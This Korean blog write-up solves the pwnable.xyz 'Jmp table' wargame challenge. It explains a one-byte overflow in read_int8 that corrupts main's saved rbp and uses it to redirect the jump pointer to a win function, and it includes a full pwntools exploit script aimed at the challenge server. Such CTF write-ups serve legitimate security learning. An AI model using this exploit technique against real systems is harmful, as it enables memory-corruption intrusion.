read_int8
이 수상하다.
int __fastcall read_int8()
{ char buf[32]; // [rsp+0h] [rbp-20h] read(0, buf, 0x21uLL); return atoi(buf); } |
buf
의 위치는 rbp-0x20
인데 read
함수에서 최대 0x21 크기의 데이터를 입력받고 있다. main
함수의 stack frame에서 rbp
레지스터의 하위 1바이트를 조작할 수 있다는 의미다.
int __fastcall main(int argc, const char **argv, const char **envp)
{ uint8_t menu; // [rsp+2Fh] [rbp-11h] uint64_t canary; // [rsp+30h] [rbp-10h] void *jump; // [rsp+38h] [rbp-8h] setup(); canary = gen_canary(); puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n"); jump = &loc_BA0; while ( 1 ) { print_menu(); printf("> "); menu = read_int8(); switch ( menu ) { case 2u: jump = (void *)(int)((unsigned int)jump ^ menu); break; case 3u: printf("%p\n", environ); break; case 1u: if ( canary == ::canary ) __asm { jmp rax } break; default: puts("Invalid"); break; } } } |
이 프로그램에서는 다음과 같은 2가지 기능을 쓸 수 있다.
main
함수의 스택 내부의canary
와 전역변수canary
의 값이 같으면,jump
로 실행 흐름을 변경할 수 있다.environ
을 출력하여 스택 주소를 알아낼 수 있다.
2번 메뉴는 jump
변수를 4바이트로 잘라먹기 때문에 전혀 쓸모없는 기능이다.
한편 main
함수에서는 지역변수에 접근할 때 rbp
레지스터를 사용한다.
.text:0000000000000BE8 mov rax, cs:canary
.text:0000000000000BEF cmp [rbp+canary], rax .text:0000000000000BF3 jnz short loc_C3F .text:0000000000000BF5 mov rax, [rbp+jump] .text:0000000000000BF9 jmp rax |
앞서 언급했던, main
함수에서 rbp
레지스터 값을 수정할 수 있다는 점을 활용해야 한다.
main
함수에서 rbp
의 값을 9 증가시키면 menu
에 접근하는 rbp-0x11
은 메모리 상에서 기존의 jump
변수를 가리키게 된다. 이 방법으로 jump
의 하위 2바이트를 패치하여 win+4
주소로 값을 변경하고, rbp
레지스터를 기존 값으로 복원한 뒤 1번 메뉴를 통해 플래그를 출력할 수 있다.
바이너리가 PIE로 컴파일되었기 때문에 1/16의 확률로 성공한다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def log_error(string) : sys.stderr.write(u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m {s}\n'.format(s=string)) def exploit() : p.writelineafter(b'> ', b'3') main_rbp = int(p.readline(keepends=False), 16) - 0xF8 log_info('main rbp = '+hex(main_rbp)) payload = str(0x7B).encode().ljust(0x20, b'\x00') payload += p64(main_rbp+9)[:1] p.writeafter(b'> ', payload) payload = str(0x0B).encode().ljust(0x20, b'\x00') payload += p64(main_rbp+10)[:1] p.writeafter(b'> ', payload) payload = str(0x1).encode().ljust(0x20, b'\x00') payload += p64(main_rbp)[:1] p.writeafter(b'> ', payload) try : result = p.read() if b'FLAG' in result : print(result.decode()) exit() raise EOFError except EOFError : log_error('Failed') if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30012) else : p = process('./challenge') exploit() |
Last update: 2/7/2021
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / iape (0) | 2020.01.16 |
---|---|
pwnable.xyz / strcat (0) | 2020.01.16 |
pwnable.xyz / SUS (0) | 2020.01.14 |
pwnable.xyz / fspoo (0) | 2020.01.14 |
pwnable.xyz / Game (0) | 2020.01.13 |